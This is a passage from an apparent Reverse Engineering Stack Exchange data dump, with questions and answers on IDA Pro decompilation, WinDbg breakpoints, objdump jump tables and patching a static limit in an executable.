&lt;code&gt;xlc&lt;/code&gt;, ...), static &amp;amp; dynamic linking, object file formats (ELF32, ELF64, PE, COFF, Macho, ...), calling conventions and ABIs, compiler optimizations, link time optimizations, code morphing, cryptography, ... to know how the application was built, obfuscated, and secured. All that, in order to find an exploitable weak spot in the chain. I would also recommend you following the scientific work conducted in all those areas, especially obfuscation, static &amp;amp; dynamic analysis, instrumentation, binary code patching, disassembly, ... The field of binary code analysis is still at its infancy, and every now and then researchers come up with great techniques and algorithms which end up implemented in many industrial products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fifthly, &lt;strong&gt;Be sharp&lt;/strong&gt; : there's no such thing as garbage. As Lavoisier once said : &quot;Rien ne se perd, rien ne se crée, tout se transforme.&quot; (&quot;Nothing is lost, nothing is created, everything is transformed.&quot;). Keep in mind that any piece of valuable information can help. It can be poetry, calculus, physics, Boolean algebra, ... you never know what you'll stumble upon. A successful reverse engineer is an educated one !   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;strong&gt;Develop top programming skills :&lt;/strong&gt; : learn as many programming languages as you can : assembly (&lt;code&gt;x86&lt;/code&gt;, &lt;code&gt;ARM&lt;/code&gt;, &lt;code&gt;6502&lt;/code&gt;, ...), &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;C++&lt;/code&gt;, &lt;code&gt;Python&lt;/code&gt;, &lt;code&gt;Haskell&lt;/code&gt;, ... and learn how to extract code patterns from low level constructs - this is just a matter of experience &amp;amp; sharpness. Each language is designed on top of a set of paradigms : &lt;code&gt;Functional programming&lt;/code&gt;, &lt;code&gt;OOP&lt;/code&gt;, ... Knowing those paradigms helps a lot when analyzing code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think there's enough space for me to cover everything but I hope this will help you narrow your search &amp;amp; find useful documentation, tutorials, ... on the web.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-05T06:08:36.947" LastActivityDate="2014-05-05T06:08:36.947" CommentCount="1" CommunityOwnedDate="2014-05-06T14:32:11.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="4269" PostTypeId="1" CreationDate="2014-05-05T10:17:51.877" Score="8" ViewCount="5032" Body="&lt;p&gt;When I decompile using IDA PRO I get code which could look like both of these&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding the &lt;code&gt;__PAIR__&lt;/code&gt; macro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Macro itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The following definition is not quite correct because it always returns&#xA;// uint64. The above C++ functions are good, though.&#xA;#define __PAIR__(high, low) (((unsigned long)(high)&amp;lt;&amp;lt;sizeof(high)*8) | low)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( (__PAIR__(a4, a3) &amp;amp; 0x8000000000000000ui64) == 0i64 ) {&#xA;  //condition code.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have code that looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( (__PAIR__(v17, v12) &amp;amp; 0x8000000000000000ui64) != 0i64 ) {&#xA;    //condition code.&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I actually found some guy who helped me repair this bad looking code and as far I could tell by the pattern they could simply be replaced like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if( (__PAIR__(a4, a3) &amp;amp; 0x8000000000000000ui64) == 0i64 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if(a4 &amp;gt;= 0 &amp;amp;&amp;amp; a3 &amp;gt;= 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I found a very similar pattern that looks like above but instead of &lt;code&gt;== 0i64&lt;/code&gt; it has &lt;code&gt;!= 0i64&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I figured if my pattern is correct then the following code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( (__PAIR__(v17, v12) &amp;amp; 0x8000000000000000ui64) != 0i64 ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if( v17 &amp;lt; 0 || v12 &amp;lt; 0 ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then again that's just a guess I wonder if that's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't post the assembly for the &lt;code&gt;!= 0i64&lt;/code&gt; example as I couldn't find it the assembly code is very big.. but the one with &lt;code&gt;== 0i64&lt;/code&gt; looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004049F0                 mov     edx, [esp+a3]&#xA;.text:004049F4                 test    edx, edx&#xA;.text:004049F6                 jl      short locret_404A3E&#xA;.text:004049F8                 mov     eax, [esp+a4]&#xA;.text:004049FC                 test    eax, eax&#xA;.text:004049FE                 jl      short locret_404A3E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditDate="2014-05-05T10:37:59.507" LastActivityDate="2014-05-05T16:00:51.663" Title="Understanding __PAIR__ macro from IDA PRO Pseudo Decompiler to look better" Tags="|ida|decompilation|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4271" PostTypeId="1" AcceptedAnswerId="4272" CreationDate="2014-05-05T13:29:32.563" Score="3" ViewCount="7176" Body="&lt;p&gt;I'm &quot;middle-new&quot; in re and I have to debug a dll's function. How can I tell to IDA : start function XXX with parameters A, B and C ?&#xA;Is there a solution or a plugin doing that ? I've tried doing that with rundll32.exe but unsucessfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no experience on ollydbg this is why I ask for a IDA solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping !&lt;/p&gt;&#xA;" OwnerUserId="4559" LastActivityDate="2014-05-05T14:11:27.483" Title="DLL - Dynamic Analysis on IDA" Tags="|ida|dll|dynamic-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4272" PostTypeId="2" ParentId="4271" CreationDate="2014-05-05T14:02:01.723" Score="4" Body="&lt;p&gt;Based on &lt;a href=&quot;https://stackoverflow.com/questions/3207365/how-to-use-rundll32-to-execute-dll-function&quot;&gt;this answer&lt;/a&gt;, rundll only supports running functions with a specific signature. I would recommend writing a simple executable that loads it. For example, in c, you could call &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684175%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadLibrary&lt;/a&gt;(&quot;yourdll.dll&quot;) and then &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetProcAddress&lt;/a&gt;(&quot;yourfunc&quot;) and then call it that way. See MSDN (linked) for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA, you would then give your executable as the process, but your dll as the input file. That will allow you to set breakpoints that IDA will set when the dll is loaded. It also gives you control over the parameters since you can just pass them through from the command line.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-05-05T14:10:49.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4273" PostTypeId="2" ParentId="4271" CreationDate="2014-05-05T14:11:27.483" Score="4" Body="&lt;p&gt;IDA Pro has this mechanism called &lt;a href=&quot;http://www.hexblog.com/?p=112&quot; rel=&quot;nofollow&quot;&gt;AppCall&lt;/a&gt; which basically allows you to set up the parameters of a function and call it directly. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Briefly, Appcall is a mechanism used to call functions inside the debugged program from the debugger or your script as if it were a built-in function. If you’ve used GDB (call command), VS (Immediate window), or Borland C++ Builder then you’re already familiar with such functionality.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now , this might not be directly applicable to your situation, bit I guess creating a small wrapper program and using appcall on it could make things easier. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-05-05T14:11:27.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4274" PostTypeId="2" ParentId="4269" CreationDate="2014-05-05T14:52:16.393" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; if( (__PAIR__(a4, a3) &amp;amp; 0x8000000000000000ui64) == 0i64 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(a4 &amp;gt;= 0 &amp;amp;&amp;amp; a3 &amp;gt;= 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, that's not correct. The correct simplification is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((int)a4 &amp;gt;= 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; if ( (__PAIR__(v17, v12) &amp;amp; 0x8000000000000000ui64) != 0i64 ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;should look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if( v17 &amp;lt; 0 || v12 &amp;lt; 0 ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope, it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((int)v17 &amp;lt; 0) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to read up on how the &lt;a href=&quot;http://en.wikipedia.org/wiki/Most_significant_bit&quot; rel=&quot;nofollow&quot;&gt;most significant bit (MSB)&lt;/a&gt; is used as the &lt;a href=&quot;http://en.wikipedia.org/wiki/Sign_bit&quot; rel=&quot;nofollow&quot;&gt;sign bit&lt;/a&gt; in &lt;a href=&quot;http://en.wikipedia.org/wiki/Two%27s_complement&quot; rel=&quot;nofollow&quot;&gt;two's complement notation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-05-05T16:00:51.663" LastActivityDate="2014-05-05T16:00:51.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4275" PostTypeId="1" CreationDate="2014-05-05T16:28:08.990" Score="2" ViewCount="214" Body="&lt;p&gt;How to map an arbitrary address to its corresponding basic block in IDA?&#xA;There are several ways to do it using Ida-python, but I am interested in pure C++ solutions (using IDA SDK, of course).&lt;/p&gt;&#xA;" OwnerUserId="4560" LastEditorUserId="53" LastEditDate="2014-05-05T22:18:21.847" LastActivityDate="2014-05-05T22:18:21.847" Title="Getting basic blocks using SDK" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4276" PostTypeId="1" AcceptedAnswerId="4281" CreationDate="2014-05-05T20:20:21.223" Score="3" ViewCount="7248" Body="&lt;p&gt;I want to generate all xrefs from function just to check what api it uses in its call-tree. I know I can generate call tree graph by right clicking on function name and &quot;Xrefs from&quot;, but I would like to have this functions listed just as text or something like that, so I could read it easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading it from WinGraph is pretty hard, and I have trouble with this nasty colors..&#xA;I mean, how is it readable? It is really hard to read white text on cyan background. And I dont see any way to configure it. My eyes just cant stand looking at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I get this xrefs in some friendly format? I am sure it is possible.. &#xA;I am using IDA 6.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4563" LastEditorUserId="1842" LastEditDate="2014-05-12T08:07:23.693" LastActivityDate="2014-05-12T08:07:23.693" Title="IDA Xrefs from - how to?" Tags="|ida|tools|ida-plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4277" PostTypeId="2" ParentId="4276" CreationDate="2014-05-05T20:51:45.013" Score="3" Body="&lt;p&gt;I didn't check it, use carefully, beware the errors in this code, good luck&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;import idaapi&#xA;&#xA;def handle_function(func_start):&#xA;    for h in idautils.FuncItems(func_start):&#xA;        for r in idautils.XrefsFrom(h, 0):&#xA;            if r.type == fl_CF or r.type == fl_CN:&#xA;                print hex(h), &quot;--calls--&amp;gt;&quot;, hex(r.to)&#xA;&#xA;handle_function(address_of_your_function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-05-05T21:56:39.927" LastActivityDate="2014-05-05T21:56:39.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4278" PostTypeId="2" ParentId="4276" CreationDate="2014-05-06T09:31:55.210" Score="1" Body="&lt;p&gt;View | Open subviews | Function calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fdsgT.png&quot; alt=&quot;IDA Function calls view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-06T09:31:55.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4279" PostTypeId="5" CreationDate="2014-05-06T13:45:18.150" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-05-06T13:45:18.150" LastActivityDate="2014-05-06T13:45:18.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4280" PostTypeId="4" CreationDate="2014-05-06T13:45:18.150" Score="0" Body="GAS for GNU Assembler is the assembler that comes with the GNU Compiler Collection." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-06T15:29:47.233" LastActivityDate="2014-05-06T15:29:47.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4281" PostTypeId="2" ParentId="4276" CreationDate="2014-05-07T01:53:56.583" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://code.google.com/p/mynav/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MyNav&lt;/a&gt; plugin will show you calls from a function recursively, as shown below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0z5Nh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-05-07T01:53:56.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4282" PostTypeId="1" AcceptedAnswerId="4286" CreationDate="2014-05-07T07:27:45.913" Score="3" ViewCount="431" Body="&lt;p&gt;Following break point fails because of bad memory address in some situation and cause break in execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp 0x12345678 &quot;.printf \&quot;PID: %d, unkVar: %d\\n\&quot;, ..., poi(poi(ecx+1c)+8)+c;g&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to test memory address before dereferencing in Windbg?&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="53" LastEditDate="2014-05-07T07:38:45.493" LastActivityDate="2014-05-07T22:16:34.897" Title="Prevent Windbg Log Breakpoint Fail by Memory Check" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4283" PostTypeId="2" ParentId="3471" CreationDate="2014-05-07T09:09:12.247" Score="2" Body="&lt;p&gt;First, your platform is very important ( mine is Windows )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows WinDbg + &lt;code&gt;!exploitable&lt;/code&gt; is one of fast analyze options.&#xA;it is &lt;a href=&quot;http://msecdbg.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I use WinDbg + &lt;code&gt;!analyze&lt;/code&gt; to determine standard name of bug...&#xA;it is default WinDbg extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as the nature of bugs is unknown (in your case) it is not an easy way to detect root cause.&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="245" LastEditDate="2014-05-07T10:23:03.623" LastActivityDate="2014-05-07T10:23:03.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4284" PostTypeId="2" ParentId="1414" CreationDate="2014-05-07T19:16:15.677" Score="0" Body="&lt;p&gt;You might find this useful -- I ended up writing a tutorial about this recently, since, as you note, documentation for this stuff is always so sketchy and often out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://soundly.me/osx-injection-override-tutorial-hello-world/&quot; rel=&quot;nofollow&quot;&gt;http://soundly.me/osx-injection-override-tutorial-hello-world/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4580" LastActivityDate="2014-05-07T19:16:15.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4285" PostTypeId="1" AcceptedAnswerId="4293" CreationDate="2014-05-07T19:51:17.127" Score="4" ViewCount="622" Body="&lt;p&gt;So basically I am using &lt;code&gt;objdump&lt;/code&gt; to disassemble a binary from GNU Coreutils, on 32-bit Linux x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembled code, I found one &quot;&lt;em&gt;broken&lt;/em&gt;&quot; instruction like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 804b4db:       ff 24 85 e4 09 05 08    jmp    *0x80509e4(,%eax,4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like a &lt;strong&gt;disassemble error&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, by digging into the section info, I figure out that &lt;code&gt;0x80509e4&lt;/code&gt; inside the &lt;code&gt;.rodata&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does it mean that &lt;code&gt;0x80509e4&lt;/code&gt; is a &lt;strong&gt;jump table&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:55:12.773" LastActivityDate="2017-04-28T12:55:12.773" Title="How to deal with this &quot;error&quot; instructions generated by objdump?" Tags="|disassembly|elf|objdump|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4286" PostTypeId="2" ParentId="4282" CreationDate="2014-05-07T22:16:34.897" Score="3" Body="&lt;p&gt;testing memory address can be done with with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.if ( poi(@R32) operator CONST ) { commands }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i think the intent the question is not to break on memory access failure &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that is the case wrap your conditional command with a &lt;code&gt;.catch {} ; command to execute on exception&lt;/code&gt;  this will let the execution flow without breaking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main (void)&#xA;{&#xA;    __asm&#xA;    {&#xA;        xor eax , eax&#xA;            increase:&#xA;            inc eax&#xA;            cmp eax , 0ffffffffh&#xA;            jne increase&#xA;    }&#xA;    printf(&quot;we reached here\n&quot;);&#xA;    __asm&#xA;    {&#xA;loopfever:&#xA;        jmp loopfever&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of main&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:001&amp;gt; uf 401000&#xA;image00400000+0x1000:&#xA;00401000 55              push    ebp&#xA;00401001 8bec            mov     ebp,esp&#xA;00401003 33c0            xor     eax,eax&#xA;&#xA;image00400000+0x1005:&#xA;00401005 40              inc     eax&#xA;00401006 83f8ff          cmp     eax,0FFFFFFFFh&#xA;00401009 75fa            jne     image00400000+0x1005 (00401005)&#xA;&#xA;image00400000+0x100b:&#xA;0040100b 6840814000      push    offset image00400000+0x8140 (00408140)&#xA;00401010 e809000000      call    image00400000+0x101e (0040101e)&#xA;00401015 83c404          add     esp,4&#xA;&#xA;image00400000+0x1018:&#xA;00401018 ebfe            jmp     image00400000+0x1018 (00401018)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a conditinal break point on 401006 dereferencing eax (will throw exception on almost 3 gb of address space ) wrapped in a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.catch {} ; gc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bp &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:001&amp;gt; .bpcmds&#xA;bp0 0x00401006  &quot; .catch { .printf \&quot;%x\n\&quot; , poi( @eax ) ; gc };  ? @eax ;gc &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is an output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory access error at ') ; gc '&#xA;Evaluate expression: 65529 = 0000fff9&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65530 = 0000fffa&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65531 = 0000fffb&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65532 = 0000fffc&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65533 = 0000fffd&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65534 = 0000fffe&#xA;Memory access error at ') ; gc '&#xA;Evaluate expression: 65535 = 0000ffff&#xA;380039 44003800 440038 44004400 440044 4b004400 4b0044 3d004b00 3d004b 45003d00 45003d 3a004500 3a0045 5c003a00 5c003a 39005c00 39005c 38003900 380039 44003800 440038 44004400 &#xA;Environment starts at 0x10000 compare  &#xA;&#xA;0:000&amp;gt; s -su 10000 10100&#xA;00010000  &quot;98DDK=E:\98DDK&quot;&#xA;0001001e  &quot;=::=::\&quot;&#xA;0001002e  &quot;=C:=C:\Documents and Settings\Ad&quot;&#xA;&#xA;7c90120e cc              int     3&#xA;0:001&amp;gt; ~0s&#xA;eax=000100c4 ebx=7ffdf000 ecx=00000001 edx=0040c5f0 esi=00000000 edi=009af6ee&#xA;eip=00401006 esp=0013ff78 ebp=0013ff78 iopl=0         nv up ei pl nz na po cy&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000303&#xA;image00400000+0x1006:&#xA;00401006 83f8ff          cmp     eax,0FFFFFFFFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-07T22:16:34.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4287" PostTypeId="1" AcceptedAnswerId="4296" CreationDate="2014-05-08T00:59:14.813" Score="8" ViewCount="3230" Body="&lt;p&gt;I'm not new to StackExchange, but I'm quite new to reverse engineering, so please be patient with me! :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present I'm dealing with an executable that I would like to modify a little bit, for personal use; the source code of the application is not available so I can only modify it or die trying. I'm using both IDA Pro 6.1 and OllyDBG 2.0 as tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be exact, I would just like to increase the amount of CFG_ENTRY that the application can read from &lt;code&gt;500&lt;/code&gt; to &lt;code&gt;1000&lt;/code&gt; in the method &lt;code&gt;ReadCfgFile&lt;/code&gt; which, apparently, has a static memory region preallocated at compile-time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008F2860 ReadCfgFile     proc near ; DATA XREF: .rdata:0137A1ECo&#xA;.text:008F2860 var_20          = dword ptr -20h&#xA;.text:008F2860 var_1C          = dword ptr -1Ch&#xA;.text:008F2860 var_18          = dword ptr -18h&#xA;.text:008F2860 var_C           = dword ptr -0Ch&#xA;.text:008F2860 var_4           = dword ptr -4&#xA;.text:008F2860 arg_0           = dword ptr  4&#xA;.text:008F2860 arg_4           = byte ptr  8&#xA;.text:008F2860&#xA;.text:008F2860                 push    0FFFFFFFFh&#xA;.text:008F2862                 mov     eax, large fs:0&#xA;.text:008F2868                 push    offset sub_1288B18&#xA;.text:008F286D                 push    eax&#xA;.text:008F286E                 mov     large fs:0, esp&#xA;.text:008F2875                 sub     esp, 14h&#xA;.text:008F2878                 push    ebx&#xA;.text:008F2879                 push    ebp&#xA;.text:008F287A                 push    esi&#xA;.text:008F287B                 push    edi&#xA;.text:008F287C                 mov     edi, [esp+30h+arg_0]&#xA;.text:008F2880                 mov     eax, [edi+10h]&#xA;.text:008F2883                 cmp     eax, [edi+8]&#xA;.text:008F2886                 mov     esi, ecx&#xA;.text:008F2888                 jnb     loc_8F2930&#xA;.text:008F288E                 mov     edi, edi&#xA;.text:008F2890&#xA;.text:008F2890 loc_8F2890:&#xA;.text:008F2890                 mov     eax, [esi+79954h]&#xA;.text:008F2896                 cmp     eax, 3E8h&#xA;.text:008F289B                 jge     loc_8F29DF&#xA;.text:008F28A1                 mov     edx, eax&#xA;.text:008F28A3                 shl     edx, 5&#xA;.text:008F28A6                 lea     ecx, [eax+1]&#xA;.text:008F28A9                 sub     edx, eax&#xA;.text:008F28AB                 lea     eax, [eax+edx*8]&#xA;.text:008F28AE                 mov     [esi+79954h], ecx&#xA;.text:008F28B4                 push    edi&#xA;.text:008F28B5                 lea     ecx, [esi+eax*4+4]&#xA;.text:008F28B9                 call    ReadEDURecord&#xA;.text:008F28BE                 test    al, al&#xA;.text:008F28C0                 jz      loc_8F2947&#xA;.text:008F28C6                 mov     eax, [esi+79954h]&#xA;.text:008F28CC                 mov     ecx, eax&#xA;.text:008F28CE                 shl     ecx, 5&#xA;.text:008F28D1                 sub     ecx, eax&#xA;.text:008F28D3                 lea     edx, [eax+ecx*8]&#xA;.text:008F28D6                 mov     ebp, [esi+edx*4-3E0h]&#xA;.text:008F28DD                 lea     eax, [esp+30h+arg_0]&#xA;.text:008F28E1                 lea     ebx, [esi+79958h]&#xA;.text:008F28E7                 push    eax&#xA;.text:008F28E8                 mov     ecx, ebx&#xA;.text:008F28EA                 mov     [esp+34h+arg_0], ebp&#xA;.text:008F28EE                 call    sub_437DF0&#xA;.text:008F28F3                 test    eax, eax&#xA;.text:008F28F5                 jz      short loc_8F2902&#xA;.text:008F28F7                 cmp     [esp+30h+arg_4], 0&#xA;.text:008F28FC                 jz      loc_8F2994&#xA;.text:008F2902&#xA;.text:008F2902 loc_8F2902:&#xA;.text:008F2902                 mov     ecx, [esi+79954h]&#xA;.text:008F2908                 sub     ecx, 1&#xA;.text:008F290B                 lea     edx, [esp+30h+arg_0]&#xA;.text:008F290F                 push    edx&#xA;.text:008F2910                 lea     eax, [esp+34h+var_20]&#xA;.text:008F2914                 mov     [esp+34h+arg_0], ecx&#xA;.text:008F2918                 push    eax&#xA;.text:008F2919                 mov     ecx, ebx&#xA;.text:008F291B                 mov     [esp+38h+var_20], ebp&#xA;.text:008F291F                 call    sub_437890&#xA;.text:008F2924                 mov     ecx, [edi+10h]&#xA;.text:008F2927                 cmp     ecx, [edi+8]&#xA;.text:008F292A                 jb      loc_8F2890&#xA;.text:008F2930&#xA;.text:008F2930 loc_8F2930:&#xA;.text:008F2930                 pop     edi&#xA;.text:008F2931                 pop     esi&#xA;.text:008F2932                 pop     ebp&#xA;.text:008F2933                 mov     al, 1&#xA;.text:008F2935                 pop     ebx&#xA;.text:008F2936                 mov     ecx, [esp+20h+var_C]&#xA;.text:008F293A                 mov     large fs:0, ecx&#xA;.text:008F2941                 add     esp, 20h&#xA;.text:008F2944                 retn    8&#xA;.text:008F2947&#xA;.text:008F2947 loc_8F2947:&#xA;.text:008F2947                 push    0&#xA;.text:008F2949                 call    sub_D386E0&#xA;.text:008F294E                 add     esp, 4&#xA;.text:008F2951                 mov     ecx, edi&#xA;.text:008F2953                 mov     esi, eax&#xA;.text:008F2955                 call    sub_D4D270&#xA;.text:008F295A                 push    eax ; ArgList&#xA;.text:008F295B                 push    offset aErrMsg_1 ; Error Message&#xA;.text:008F2960                 call    sub_D386E0&#xA;.text:008F2965                 add     esp, 8&#xA;.text:008F2968                 call    sub_D388C0&#xA;.text:008F296D                 lea     edx, [esp+30h+var_20]&#xA;.text:008F2971                 push    edx&#xA;.text:008F2972                 lea     ecx, [esp+34h+var_18]&#xA;.text:008F2976                 mov     [esp+34h+var_20], eax&#xA;.text:008F297A                 mov     [esp+34h+var_1C], 640h&#xA;.text:008F2982                 call    sub_403D60&#xA;.text:008F2987                 mov     [esp+30h+var_4], 0&#xA;.text:008F298F                 jmp     loc_8F2A27&#xA;.text:008F2994&#xA;.text:008F2994 loc_8F2994:&#xA;.text:008F2994                 push    0&#xA;.text:008F2996                 call    